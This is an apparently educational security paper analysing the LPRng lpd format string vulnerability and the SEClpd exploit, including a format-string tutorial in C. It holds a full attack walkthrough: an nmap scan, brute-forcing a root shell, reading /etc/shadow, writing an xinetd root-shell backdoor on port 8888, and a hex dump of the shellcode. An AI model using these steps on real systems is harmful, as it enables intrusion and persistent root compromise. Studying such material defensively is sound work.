Final Week to Get a MacBook Air or Surface Pro 7 with Online Training - Best Offers of the Year!

Malware FAQ

Malware FAQ: LPRng Format String Vulnerability and related exploits

Author: Gheorghe Gheorghiu

Exploit Details

Exploit Name

Input Validation Problems in LPRng , also known as LPRng Format String Vulnerability

Advisories and other documents describing the exploit:

Exploit variants

At least 2 exploits have been released that use the LPRng lpd format string vulnerability to gain root access to servers running lpd:

In addition, the infamous Ramen worm used the LPRng format string vulnerability in order to attack and propagate itself on hosts running lpd. The Ramen worm used the same class of format string vulnerabilities to attack hosts running the wu-ftpd and rpc.statd services. The ISS X-Force team provides a good analysis of the Ramen worm at .

Vulnerable operating systems

Any system running LPRng version 3.6.24 and older is potentially vulnerable to the format string-based exploit. The following operating systems have been confirmed as being vulnerable:

  • Caldera OpenLinux Desktop 2.3 and 2.4
  • Caldera OpenLinux eServer 2.3
  • Caldera OpenLinux eBuilder 3.0
  • FreeBSD pre-4.2 with Ports Collection
  • NetBSD includes a vulnerable third-party LPRng package
  • Red Hat Linux 7.0
  • Trustix Secure Linux 1.0 and 1.1

Protocols used by the exploit

The exploit uses the BSD-derived print management protocol, as described in RFC 1179 and in Part 1 of this paper.

Brief description of the exploit

The lpd print server component of the LPRng print management suite calls the syslog() function incorrectly by not supplying a format string argument. The purpose of the syslog() function is to log messages to the operating system log files. An attacker can supply a carefully crafted string containing format arguments to the lpd server, which will then incorrectly invoke the syslog() function, passing the attacker's string to it. In this way, arbitrary memory locations in the lpd process space can be overwritten and an interactive command shell can be spawned that will run with root privileges on the server running the lpd process. Chris Evans discovered and posted the information about the LPRng vulnerability on the Bugtraq mailing list, predicting that exploits created by the black-hat community will surely follow soon. Unfortunately, he was right.

Protocol description

The LPRng format string exploit uses the BSD-derived print management protocol. An overview of the protocol is presented in Part 1 of this paper. The exploit acts as a print client and sends a message to a server running the lpd print server daemon. In the BSD implementation, the lpd daemon normally runs as a background process and listens on port 515 for incoming client connections. When it receives an incoming request, it spawns a separate server process that will handle the request, while lpd itself continues to listen for more requests.

The normal communication flow between the lpr client and the lpd server relies on control messages, as specified by RFC 1179. The server authenticates the client's print request and if the access control rules allow it, it accepts the client's print job, then sends it to a printer or to another print server. However, if the client sends a message that does not conform to the RFC 1179, the server will dutifully log it to the operating system log via a syslog() call. This is not a security risk in and of itself, but a coding error in the LPRng lpd server results in syslog() being invoked incorrectly and accepting arbitrary user-formatted strings.

I will present an overview of generic format string-based attacks in the "How the exploit works" section. This is necessary so that the exploit can be properly understood. In the remainder of this section, I will show how the client can send any string to the print server and how the string gets logged to the system log. I will use real-life examples from a test environment, which consists of a client laptop (which I will call attacker ) running Red Hat Linux 7.1 and a server (which I will call ) running the default installation of Red Hat Linux 7.0 with LPRng version 3.6.22-5. I had of course root access on both hosts, so I could inspect the system log on victim after each message was sent from attacker .

The following commands were entered on attacker :

[attacker@attacker]$ telnet 515
Connected to
Escape character is '^]'.
Please log this in your syslog
Connection closed by foreign host.

[attacker@attacker]$ telnet 515
Connected to
Escape character is '^]'.
Connection closed by foreign host.

The attacker simply uses telnet to connect to port 515 on the target and types a command. After each command, the server closes the connection. Note that the second command contains the %x combination, which as we will see represents a format directive for the syslog() function.

The following command was entered on victim :

[root@victim /root]# tail -2 /var/log/messages
Jan 17 11:17:24 victim SERVER[25823]: Dispatch_input: bad request line 'Please log this in your syslog^M'
Jan 17 11:47:00 victim SERVER[25863]: Dispatch_input: bad request line

We can see that victim logged both command strings sent from attacker . The first string was logged verbatim, but the second one caused hex values to be printed in the /var/log/messages file. As we will see in the "How the exploit works" section, these values represent hex dumps from the memory address space of the lpd process! In other words, the attacker is able to display and even, as we will see, manipulate the address space of the lpd process. With skills and patience, an attacker can inject malicious code into the running image of the lpd process and obtain an interactive shell running with root privileges on the victim server.

Description of variants

I have been able to find 2 exploits against the LPRng lpd server that are widely available from the Internet:

  1. SEClpd.c was created by DiGiT from the security team. The code for the exploit can be downloaded from
  2. LPRng-3.6.24-1.c was created by venomous from the rdC security team. The code for the exploit can be downloaded from

Both exploits use the same technique of sending carefully crafted format strings to the lpd server listening on port 515 on the victim machine. I will discuss the technique in greater detail in the "How the exploit works" section of this paper. The main difference between the two exploits is that SEClpd.c is more attacker-friendly, because it tries to brute force its way into the remote system by repeatedly crafting different format strings and sending them to the victim host.

I already mentioned the fact that the Ramen worm uses the LPRng format string exploit to propagate itself to hosts running vulnerable versions of the printing software, namely hosts running default installations of Red Hat Linux 7.0. The Ramen worm transfers itself from one host to another by means of a gzipped tar file called ramen.tgz . I will not reveal the URL I used to get a copy of this file, but it is available from various Web sites. Looking at the files contained in the ramen.tgz file, one can find a script called , which contains the following lines:

./l $1 -t 0 -r 0xbffff3dc
./l $1 -t 0 -r 0xbffff128
./l $1 -t 0 -r 0xbffff148
./l $1 -t 0 -r 0xbffff3c8
./l $1 -t 0 -r 0xbffff488
./l $1 -t 0 -r 0xbffff3e8
./l $1 -t 0 -r 0xbffff3d8
./l $1 brute -t 0

The " brute -t 0 " option is identical to the brute-force option in SEClpd.c . Further investigation of the file called l that is invoked by the script reveals that it is a binary built upon the source code from SEClpd.c . This is a partial output of the strings command ran on the l binary:

RedHat 7.0 - Guinesss-dev
RedHat 7.0 - Guinesss


How the exploit works

The LPRng exploit is not so much related to the printing protocol per se, as it is to a particular type of programming error that can be found in many other software packages shipped with various operating systems. This type of error is known as "format string vulnerability" and the black-hat community has successfully exploited it since the second half of the year 2000.


In this section, I will explain what format string vulnerabilities are and how they can be exploited. Format string exploits tend to be confused with buffer overflow exploits, primarily because the end result of both is in most cases a shellcode that gets executed in the memory space of the victim process and that gives back to the attacker an interactive shell with root privileges. However, the means by which the two types of exploits achieve their common goal are quite different. It is my opinion that format string vulnerabilities are the more dangerous of the two, since they are more easily detectable by attackers. The bright side of this is of course that the "good guys" can also more easily detect them by carefully auditing the source code of programs shipped with Open Source operating systems such as Linux or FreeBSD.

There are several very good tutorials on format string vulnerabilities available on the Internet that I used for this section: Tim Newsham's paper ([3]), which is one of the seminal works on this subject, Pascal Bouchareine's tutorial ([1]), scut's paper ([6]), Andreas Thuemmel's analysis ([7]) and Raynal et al.'s article ([5]). These works inspired the explanations and sample programs I will discuss here.

One of the most often used function in any program written in the C programming language is the printf function. Its purpose is to print out a string of characters. It is used for example for diagnostic purposes or for logging informational messages to the console or to a file. The printf function is special in that it takes a variable number of arguments, one of which is a so-called format string. The format string dictates the format of the output and it contains special data type directives for other variables given as arguments to the printf function. An example will clarify these concepts. Consider the following call to printf:

printf("The temperature for %s is %d degrees.\n", " 01/31/02 ", 60);

The first argument to the printf function is the format string. Notice the special characters %s and %d . They are used to indicate the fact that the function expects 2 more arguments, one of type character string ( %s ) and one of type integer ( %d ). The programmer is supposed to supply the values for the 2 arguments, which in our example are " 01/31/02 " and 60 . The output of the function is the format string "filled" with the values given as arguments to printf :

The temperature for 01/31/02 is 60 degrees.

There are numerous other argument types for the printf function, such as %x for a hexadecimal value, %c for a character value, %p for a pointer value, etc. By far the most often used argument type for printf is a string of characters that conveys some sort of information either to the user of the program or to the operating system in the form of log messages. The following call to printf represents the correct way of printing a string of characters:

printf("%s", buffer);

However, in many cases the programmer gets lazy and invokes printf omitting to supply the format string argument:


This might seem innocuous enough, but it opens up the possibility of an exploit. The danger lies in the fact that oftentimes the user of the program can supply the buffer argument in the example above. If the value supplied is a normal string of characters, it will be printed by the printf function with no side effects. However, if the argument contains format string directives such as %d or %x , it will be interpreted by the printf function as a format string and printf will then expect further arguments to be supplied, one argument for each directive in the format string. If there are no further arguments, the printf function will retrieve values from memory addresses located on the stack and it will print them. It is now necessary to discuss the stack concept and how it relates to the printf function.

The stack is a region in the memory space of a process that is normally used to save and restore the state of the process before and after a function call and also to pass arguments to a function. When a function is called, the caller program pushes a so-called stack frame (or activation record) for the function on the stack. The function's stack frame contains the values of the arguments given to the function, any local variables declared inside the function, as well as the return address of the caller of the function. We will see later that this particular return address, called the Instruction Pointer, is the Holy Grail of the attacker, since the goal of the attacker is to replace the contents of this memory address with an address pointing to the attacker's own shellcode.

The stack derives its name from the fact that new values are pushed on top of it and then popped off the top in Last In First Out (LIFO) order. On the Intel architecture, the stack actually grows downward, having the top extend toward low memory addresses. To see how format string functions are related to the stack, I will use an example program adapted from the article by Raynal et al. ([5]). The incorrect function call involves the snprintf function, which is related to printf and is used to format a string of characters. Most of the format string vulnerabilities uncovered so far involve variants of printf such as sprintf , snprintf , vprintf , vsprintf .

The following program was compiled with the gcc-2.96-81 compiler and the glibc-2.2.2-10 library on a Red Hat Linux 7.1 machine:

[attacker@attacker code]$ cat stack.c
#include <stdio.h>

int main (int argc, char **argv)
int i = 1;
int j = 2;
char buffer[64];
char aaaa[] = "AAAA";
snprintf(buffer, sizeof(buffer), argv[1]);
buffer[sizeof(buffer) - 1] = 0;
printf("buffer: [%s] (%d)\n", buffer, strlen(buffer));
printf("i = %d (%p)\n", i, &i);
printf("j = %d (%p)\n", j, &j);

[attacker@attacker code]$ gcc -o stack stack.c

The correct way of calling the snprintf function is:

snprintf(target_buffer, sizeof(target_buffer), format_string, argument1, argument2,.);

We notice that in the stack.c program snprintf is invoked without specifying a format string. Instead, a user-supplied argument ( argv[1] ) is passed to the function.

The following diagram, adapted from the same article by Raynal et al. ([5]) shows the memory layout of the program when the snprintf function is called.

The local variables in the main function get pushed on the stack first: i , j and buffer . Then the arguments to the snprintf function are pushed on the stack, in reverse order of the calling sequence: argv[1] first, then sizeof(buffer) and then the address of the buffer variable. Finally, the Instruction Pointer register %eip is pushed on the stack, followed by another special register called %ebp for Extended Base Pointer , which holds the start address of the environment of the current function. Each memory location holds 32 bits or 4 bytes of data, as dictated by the Intel CPU.

Let's see what happens when we call the stack program with a harmless argument, such as "testing":

[attacker@attacker code]$ ./stack testing
buffer: [testing] (7)
i = 1 (0xbffff94c)
j = 2 (0xbffff948)

As expected, the character string testing was copied into the buffer variable, which was then printed on the screen. Let's see now how the program reacts when we supply a string that looks like a format string. Note that the results of the following calls to the stack program are determined by the versions of the particular gcc compiler and glibc C library used to build the stack binary. Thus, different results will be obtained on different machines, even if they are running the same operating system.

[attacker@attacker code]$ ./stack "BBBB.%x.%x"

buffer: [BBBB.400172b8.41414141] (22)
i = 1 (0xbffff94c)
j = 2 (0xbffff948)

We see that this time our string was interpreted as a format string by the snprintf function, which first copied the characters BBBB into buffer and then, as directed by the format string we supplied, tried to print the next two arguments as hexadecimal numbers. However, there are no next two arguments! So what does snprintf do in this case? It simply retrieves the next two values from the stack and copies them into buffer , which then gets printed to the screen. We also notice that the second hex value that is printed is 41414141 , which is the hex representation of the ASCII value of the character A. In other words, we were able to display the contents of the variable aaaa[] = "AAAA" . By supplying more and more %x directives in the format string, we are able to "walk" up the memory address space, towards the bottom of the stack, and display values residing at various memory addresses. This happens because the snprintf function maintains an internal stack pointer, pointing to the current memory address of the stack. Each time we supply an extra %x directive, the snprintf function will advance its internal stack pointer towards the bottom of the stack. Let's test these findings by using a different format string:

[attacker@attacker code]$ ./stack "BBBB.%x.%x.%x.%x.%x.%x"

buffer: [BBBB.400172b8.41414141.4000d800.40016d64.400172d8.42424242] (58)
i = 1 (0xbffff94c)
j = 2 (0xbffff948)

This time, we go past the aaaa variable (with a value of 41414141 ) and the last memory location we reach holds the value 42424242 , which corresponds to the character string BBBB . But these exact characters have already been copied into the variable buffer by the snprintf function. This means that we "walked" the stack until the internal stack pointer of the snprintf function pointed to the beginning of the variable buffer . We needed to advance the pointer six times by means of the %x directives.

So far, we have seen how it is possible to display values at various memory locations from the memory space of the program. If the buffer variable is large enough, we can 'walk" as far as its length will allow us and we can display values from arbitrary memory locations, not only those on the stack. Things get even more interesting, though. There is a somehow obscure type of directive for the format strings accepted by the printf family of functions: %n . What %n does is it counts the number of characters already printed out by the printf function and writes this number to a memory location supplied as an argument to printf . For example, the following call:

printf("This is a test%n\n", &i);

Will write the number 14 (there are 14 characters in the character string This is a test ) to the memory location that holds the value of i . As a result, the variable i will have the value 14.

Let's revisit the stack program and call it with a new argument. This time we will embed the format string into a call to the perl interpreter, so that the Unix shell will not interpret the special characters in the format string:

[attacker@attacker code]$ perl -e 'system("./stack \"\x12\x13\x14\x15.%x.%x.%x.%x.%x.%x\"")'
buffer: [.400172b8.41414141.4000d800.40016d64.400172d8.15141312] (58)
i = 1 (0xbffff94c)
j = 2 (0xbffff948)

Instead of having BBBB as the start of our format string, we start the string with the characters \x12 , \x13 , \x14 and \x15 . We see that the last value printed in buffer is 15141312 , which is the little endian representation in memory of our starting sequence of characters. Now is the time for our exploit: we know the address of the variable i , which is 0xbffff94c . What will happen if we start our format string with characters representing this very address? These characters will be copied into the variable buffer , then we will advance the internal stack pointer of the snprintf function by means of the six %x directives until we reach the beginning of the variable buffer :

[attacker@attacker code]$ perl -e 'system("./stack \"\x4c\xf9\xff\xbf.%x.%x.%x.%x.%x.%x\"")'
buffer: [Luy?.400172b8.41414141.4000d800.40016d64.400172d8.bffff94c] (58)
i = 1 (0xbffff94c)
j = 2 (0xbffff948)

We see that we managed to display the address of the variable i as the last value that we printed: bffff94c . We are now ready to modify the value of the variable i ! We will use the %n directive in our format string and we will advance the internal stack pointer only five times, just before it reaches the start of the variable buffer . When the snprintf function will see the %n directive, it will write the number of characters printed so far to the memory location given to it as the next argument. But again, there is no next argument, so instead, the snprintf function will retrieve the next value from the stack. What is this value? It is the start of our buffer variable, which we have been careful to fill with the value bfffff94c , i.e. with the memory address of the variable i . As a result, the number of characters written so far in the buffer variable, which is 50, is written into the i variable and i takes the value of 50. The following call to stack shows how i is now 50 instead of 1:

[attacker@attacker code]$ perl -e 'system("./stack \"\x4c\xf9\xff\xbf.%x.%x.%x.%x.%x.%n\"")'
buffer: [Luy?.400172b8.41414141.4000d800.40016d64.400172d8.] (50)
i = 50 (0xbffff94c)
j = 2 (0xbffff948)

To prove that this is not a fluke, we modify the value of the j variable by starting our format string with the address of j:

[attacker@attacker code]$ perl -e 'system("./stack \"\x48\xf9\xff\xbf.%x.%x.%x.%x.%x.%n\"")'
buffer: [Huy?.400172b8.41414141.4000d800.40016d64.400172d8.] (50)
i = 1 (0xbffff94c)
j = 50 (0xbffff948)

What I have described so far is a technique to find the beginning of the buffer variable and to fill it with a value representing an address in memory that the attacker wants to modify. In his paper ([6]), scut calls this technique "stackpopping", since we are "popping" values off the stack by advancing the internal pointer of the snprintf function towards the bottom of the stack. What can an attacker do once he knows the memory location of the buffer variable? The ultimate goal of the attacker is to modify the Instruction Pointer value so that it points to a memory location that contains the start of the attacker's shellcode. The attacker's task is now to obtain the values for two memory locations:

  • the memory location that holds the value of the Instruction Pointer, which points to the location of the next instruction to be executed when the current function ends
  • the memory location of the start of the attacker's shellcode

The first value is the harder to obtain of the two. The attacker can use the gdb debugger to disassemble the program and to carefully study its behavior. Alternatively, the attacker can use a brute force approach, by starting with an informed guess and repeatedly trying new values. This is the approach taken by the SEClpd.c exploit.

The second value is easier to obtain, since the shellcode is included in the format string supplied by the attacker. The attacker can also use a sequence of NOP operations (usually called a NOP sled ) to precede the shellcode so that the address of the shellcode can be more easily guessed. If the attacker does not guess precisely the address of the start of the shellcode, but instead guesses an address from the NOP sled, the execution will start with the remaining NOPs and will continue with the shellcode.

To illustrate how the attacker can use the 2 guessed values in a format string, let's assume that the first value (the memory location of the Instruction Pointer) is 0xbffff94c and the second value (the memory location of the start of the shellcode) is 0xbffff948 . The attacker will construct a format string of the form:

"\x4c\xf9\xff\xbf<sequence of %x>%n"

This format string will cause the snprintf function to write a number X into the memory address at 0xbffff94c , i.e. it will overwrite the Instruction Pointer value with the number X. The attacker has to somehow make the snprintf function think it wrote X characters into the buffer variable, where X is the address of the shellcode, i.e. 0xbffff948 . This is easier said than done, because the target buffer can hold only a much smaller number of characters. However, an extra feature of the %n directive is that it actually counts the characters that would be printed into the buffer if there was enough space. For example, if the variable buffer can hold 64 characters, the following call:

snprintf(buffer, sizeof(buffer), "AAAA%.500x%n", &i)

will print only 64 characters into buffer , but will count 504 characters (4 A's and 500 characters specified by the %.500x directive). As a result, the variable i will get a value of 504.

This technique is usually used in conjunction with another one, which consists in writing into the destination address one byte at a time, using multiple %n directives. I will not go into more detail here, since all of these techniques are explained in the papers I cited ([1], [6], [7]).

I hope the reader is now in position to better appreciate the security implications of format string programming errors. Simply put, it is a matter of time from the moment an attacker discovers a format string error in the source code of a program until the moment the attacker is able to alter the execution flow of the program by means of re-directing the Instruction Pointer to the attacker's shellcode via a format string exploit. Since the targeted programs almost always run with root privileges, the attacker has a high chance of obtaining an interactive root shell on the target host.

I will now discuss the specific format string vulnerability present in the source code of the LPRng lpd print server. It is related to the syslog function, whose purpose is to log informational messages to the operating system log files. The correct way of calling syslog is:

syslog( int priority, char *format, ...)

The syslog function is related to the printf and snprintf functions discussed above. It expects a format string as its second argument, to be followed by extra arguments, as specified by the data type directives in the format string. In the source code of the LPRng lpd daemon, however, the syslog function is called without the format argument:

static void use_syslog(int kind, char *msg)
/* testing mode indicates that this is not being used
* in the "real world", so don't get noisy. */
/* Note: some people would open "/dev/console", as default
Bad programmer, BAD! You should parameterize this
and set it up as a default value. This greatly aids
in testing for portability.
Patrick Powell Tue Apr 11 08:07:47 PDT 1995
int Syslog_fd;
if (Syslog_fd = open( Syslog_device_DYN,
O_WRONLY|O_APPEND|O_NOCTTY, Spool_file_perms_DYN )) > 0 ) ){ int len;

Max_open( Syslog_fd);
len = strlen(msg);
msg[len] = '\n';
msg[len+1] = 0;
Write_fd_len( Syslog_fd, msg, len+1 );
close( Syslog_fd );
msg[len] = 0;

#else /* HAVE_SYSLOG_H */
/* use the openlog facility */
syslog(kind, msg);
# else
(void) syslog(SYSLOG_FACILITY | kind, msg);
# endif /* HAVE_OPENLOG */
#endif /* HAVE_SYSLOG_H */

The two calls to syslog shown in bold open up the possibility of a format string attack. We have seen in the "Protocol description" sub-section that lpd indeed logs all illegitimate requests to the file /var/log/messages , which means that the variable msg gets assigned a user-dictated value. This is all an attacker needs to know in order to carefully craft the format strings that will be sent to the lpd daemon on port 515. In the "Pseudo-code analysis" section of this paper, I will give more details about the specific SEClpd.c exploit.

It is important to note that format string exploits have been successfully directed against a number of other programs that are usually installed on Unix-based operating systems, such as wu-ftpd, proftpd, telnetd, rpc.statd. An analysis of format string exploits versus buffer overflow exploits can be found in scut's paper ([6]). The most famous incident involving format string attacks has probably been the Ramen worm, which I also discussed in the "Description of variants" sub-section. The Ramen worm tries to exploit format string vulnerabilities against wu-ftpd, rpc.statd and LPRng lpd.

Diagram of the attack

Normally, the first phase of an attack is the reconnaissance phase, which consists in gathering publicly available information about a target system or network. Attackers can use whois queries, DNS queries, ARIN database queries and other methods to conduct the reconnaissance. I will not detail this phase in my paper, since it is not specific to the exploit I am discussing. I will instead show and exemplify with diagrams the next two phases of an attack, the scanning phase and the actual attack or exploit phase.

Step 1 - scanning phase

In this phase, the attacker runs the nmap scanner from a laptop and looks for hosts having port 515 open. The target network can be a remote network or a local network to which the attacker is connected. It is probable that most corporate networks are protected by firewalls that will block incoming requests on port 515. Thus, the two most likely scenarios for successful attacks are:

  • scan local subnets
  • scan remote subnets that are not protected by firewalls (for example, users who are running default installations of Red Hat Linux 7.0 on their home machines)

Overall, the local attack is the most plausible and has the best chance of success.

Once the attacker identifies hosts having port 515 open, the next step of the scanning phase is to look for systems running Red Hat 7.0, since this version is known to be vulnerable to the LPRng format string exploit. An attacker has several options of finding out the OS version on the remote server:

  • manually use the ftp or telnet clients to retrieve the banners from the remote server
  • use an automated scanning tool to retrieve the banners; this is the approach taken by the Ramen worm, which uses a modified version of the synscan tool (available at )

The following diagram shows the scanning phase:

Step 2 - attack or exploit phase

In this phase, the attacker launches the SEClpd exploit by connecting to the victim server on port 515 using TCP/IP socket calls and sending special format strings. The attacker can use a brute force approach, repeatedly trying to send various format strings until an interactive shell is obtained. It is interesting to note that, although the lpd process runs as user lp and group lp, at the moment when it invokes the syslog() function call it assumes UID 0, i.e. it has root privileges. The interactive shell is spawned exactly at the moment of the syslog() invocation, so the shell will run with an UID of 0. The shell code actually binds itself on port 3879 on the remote server. The attacker then connects to port 3879 using TCP/IP socket calls. At this point, the attacker has full control over the remote server and can for example install a backdoor on a specific port number (8888 in the diagram).

The following diagram shows the attack phase step-by-step:


In the next two sections of the paper I will present actual command line sessions and outputs of the attack I conducted in my test environment.

How to use the exploit

As I mentioned in a previous section, my test environment consisted of a client laptop (which I will call attacker ) running Red Hat Linux 7.1 and a server (which I will call ) running the default installation of Red Hat Linux 7.0 with LPRng version 3.6.22-5. I had of course root access on both hosts, so I could run any command and inspect the system logs on both hosts.

I will step through all phases of my attack against , starting with downloading and compiling the exploit and finishing with installing a backdoor on the remote server.

Step 1 - downloading and compiling the exploit code

We download SEClpd.c from .

We compile the source code using the gcc compiler. The resulting binary file is SEClpd :

[attacker@attacker]$ gcc -o SEClpd SEClpd.c

Step 2 - scanning the target network for hosts with port 515 open

We use the nmap scanner to scan a class C subnet looking for hosts listening on port 515. The -sS option of nmap causes it to use TCP SYN scans, which are stealthier than normal TCP connections, since they do not complete the TCP 3-way handshake. I trimmed the output to include the hosts with port 515 open and only a few hosts with port 515 closed:

[attacker@attacker]$ nmap -sS -p 515

Starting nmap V. 2.53 by ( )

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

Interesting ports on (
Port State Service
515/tcp open printer

The 1 scanned port on ( is: closed
The 1 scanned port on ( is: closed
The 1 scanned port on ( is: closed
The 1 scanned port on ( is: closed
Nmap run completed -- 256 IP addresses (92 hosts up) scanned in 21 seconds

As can be seen from the output, nmap discovered 9 hosts running print server software that listen on port 515. Among them is .

Step 3 - identifying hosts running vulnerable lpd software

An automated approach could be used at this step by running a tool such as synscan or simply writing a Perl script that fetches the login banners provided by ftp and telnet services on the target hosts. For the purpose of this paper, I will just show how we can manually use telnet to identify the operating system version on :

[attacker@attacker]$ telnet
Connected to
Escape character is '^]'.

Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22 on an i686


Good news! is running Red Hat Linux 7.0, which is known to be vulnerable to the LPRng exploit.

Step 4 - launching the SEClpd format string exploit against the target host

At this point, we are ready to execute the SEClpd program. First we try it with no option:

[attacker@attacker]$ ./SEClpd
SEClpd by DiGiT of ADM/ !
Usage: ./SEClpd victim ["brute"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes]
ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes
ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes

[ Type 0: [ RedHat 7.0 - Guinesss ]
[ Type 1: [ RedHat 7.0 - Guinesss-dev ]

Now we try to execute the program specifying the target host and the default type, without trying the brute-force approach:

[attacker@attacker]$ ./SEClpd -t 0
+++ remote exploit for LPRng/lpd by DiGiT
+++ Exploit information
+++ Victim:
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
+++ Attacking with our format string

Argh exploit failed$#%! try brute force!

The default format string sent to the remote host failed to generate an interactive shell. We now try the brute-force approach by specifying the brute argument:

[attacker@attacker]$ ./SEClpd brute -t 0
+++ remote exploit for LPRng/lpd by DiGiT
+++ Exploit information
+++ Victim:
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
+++ Attacking with our format string
+++ Brute force man, relax and enjoy the ride ;>
+++ The eip_address is 0xbffff3d8
- [+] shell located on
- [+] Enter Commands at will

Linux 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)

It worked! Approximately 45 seconds elapsed from the moment of the launch until the line Enter Commands at will gets displayed. The program runs two commands at the shell prompt for us: /bin/uname -a and id . The output of the id command is extremely encouraging, because the user id of the shell is 0 (root).

Step 5 - installing a backdoor on the target host

Now we can enter any command recognizable by the shell. We try this by entering the ls command, then we verify that we have indeed root privileges by displaying the content of the /etc/shadow file, which is viewable only by root:



cd etc

cat shadow


We are really root on the remote server. Now we'll install a backdoor on port 8888. Since Red Hat Linux 7.0 systems run xinetd instead of "vanilla" inetd, we will have to create a file for our new service in /etc/xinetd.d . We create a file called myown and we specify 8888 as the port the service will listen on, root as the user the service will run as and an interactive shell ( sh -i ) as the command the service will run upon a connection to its port number:

echo "service myown" >> /etc/xinetd.d/myown
echo "{" >> /etc/xinetd.d/myown
echo "disable = no" >> /etc/xinetd.d/myown
echo "port = 8888" >> /etc/xinetd.d/myown
echo "socket_type = stream" >> /etc/xinetd.d/myown
echo "protocol = tcp" >> /etc/xinetd.d/myown
echo "user = root" >> /etc/xinetd.d/myown
echo "wait = no" >> /etc/xinetd.d/myown
echo "server = /bin/sh" >> /etc/xinetd.d/myown
echo "server_args = -i" >> /etc/xinetd.d/myown
echo "flags = REUSE" >> /etc/xinetd.d/myown
echo "}" >> /etc/xinetd.d/myown
cat /etc/xinetd.d/myown
service myown

disable = no
port = 8888
socket_type = stream
protocol = tcp
user = root
wait = no
server = /bin/sh
server_args = -i
flags = REUSE

Now we send a USR1 signal to the xinetd daemon in order for it to re-read its configuration file and process the files in /etc/xinetd.d . For "vanilla" inetd daemons, the HUP signal would achieve the same goal:

ps -def | grep xinetd
root 25660 1 0 10:04 ? 00:00:00 xinetd -reuse -pidfile /var/run/
kill -USR1 25660

Next, we verify that we can connect from the attacker laptop to victim on port 8888:

[attacker@attacker]$ telnet 8888

Connected to
Escape character is '^]'.

sh-2.04# id
id uid=0(root) gid=0(root)

We were able to connect to port 8888 and get back an interactive shell. The uid command reports that we are used root on . As long as the logs and network activity on the victim server are not being monitored, we are able to use this backdoor to connect to the server and enter commands at any time.

Signature of the attack

Log file and netstat analysis on victim

Immediately after launching the exploit program from attacker to victim , I inspected the /var/log/messages log file on victim and I noticed a large number of entries of the form:

Jan 21 10:24:17 victim SERVER[12391]:
Dispatch_input: bad request line 'BBOóy?Uóy?Úóy?Uóy?

The line represents the format string sent from the attacker machine. I dumped the line in hexadecimal format using the od -cx command, in order to see the exact values of the bytes composing the format string, with no interference from the word processor's own formatting. Here is the hex dump of the above line:

0000000 J a n 2 1 1 0 : 2 4 : 1 7
614a 206e 3132 3120 3a30 3432 313a 2037
0000020 v i c t i m S E R V E R [ 1 2
6976 7463 6d69 5320 5245 4556 5b52 3231
0000040 3 9 1 ] : D i s p a t c h _ i
3933 5d31 203a 6944 7073 7461 6863 695f
0000060 n p u t : b a d r e q u e s
706e 7475 203a 6162 2064 6572 7571 7365
0000100 t l i n e ' B B O ó y ? U ó
2074 696c 656e 2720 4242 f3d8 bfff f3d9
0000120 y ? Ú ó y ? U ó y ? X X X X X X
bfff f3da bfff f3db bfff 5858 5858 5858
0000140 X X X X X X X X X X X X 0 0 0 0
5858 5858 5858 5858 5858 5858 3030 3030
0000160 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
3030 3030 3030 3030 3030 3030 3030 3030
0000400 0 0 4 8 0 0 0 0 0 0 0 0 0 0 0 0
3030 3834 3030 3030 3030 3030 3030 3030
0000420 0 0 0 1 0 7 3 8 3 5 0 8 8 s e c
3030 3130 3730 3833 3533 3830 7338 6365
0000440 u r i t y 0 0 0 0 0 0 0 0 0 0 0
7275 7469 3079 3030 3030 3030 3030 3030
0000460 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
3030 3030 3030 3030 3030 3030 3030 3030
0000740 0 0 0 0 6 220 220 220 220 220 220 220 220 220 220 220
3030 3030 9036 9090 9090 9090 9090 9090
0000760 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220
9090 9090 9090 9090 9090 9090 9090 9090
0001240 220 220 220 220 220 220 220 220 220 220 220 220 220 1 U 1
9090 9090 9090 9090 9090 9090 3190 31db
0001260 É 1 A ° F Í 200 211 a 1 O 2 f 211 D 1
31c9 b0c0 cd46 8980 31e5 b2d2 8966 31d0
0001300 É 211 Ë C 211 ] o C 211 ] ô K 211 M ü 215
89c9 43cb 5d89 43f8 5d89 4bf4 4d89 8dfc
0001320 M ô Í 200 1 É 211 E ô C f 211 ] i f Ç
f44d 80cd c931 4589 43f4 8966 ec5d c766
0001340 E î ^ O ' 211 M ? 215 E i 211 E o A E
ee45 4f5e 8927 f04d 458d 89ec f845 45c6
0001360 ü ^ P 211 D 215 M ô Í 200 211 D C C Í 200
5efc 8950 8dd0 f44d 80cd d089 4343 80cd
0001400 211 D C Í 200 211 A 1 É 2 ? 211 D Í 200 211
d089 cd43 8980 31c3 b2c9 893f cdd0 8980
0001420 D A Í 200 ë ^ X ^ 211 u ^ H 1 A 210 F
41d0 80cd 5eeb 5e58 7589 485e c031 4688
0001440 ^ G 211 E ^ L ° ^ K 211 ó 215 M ^ H 215
475e 4589 4c5e 5eb0 894b 8df3 5e4d 8d48
0001460 U ^ L Í 200 e a y y y / b i n / s
5e55 cd4c e880 ffe3 ffff 622f 6e69 732f
0001500 h ' \n \0
2768 000a

Notice the /bin/sh command that ends the string and that, if the attack is successful, launches the interactive shell on port 3879. Let's study more closely the following lines:

0000740 0 0 0 0 6 220 220 220 220 220 220 220 220 220 220 220
3030 3030 9036 9090 9090 9090 9090 9090
0000760 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220
9090 9090 9090 9090 9090 9090 9090 9090 *

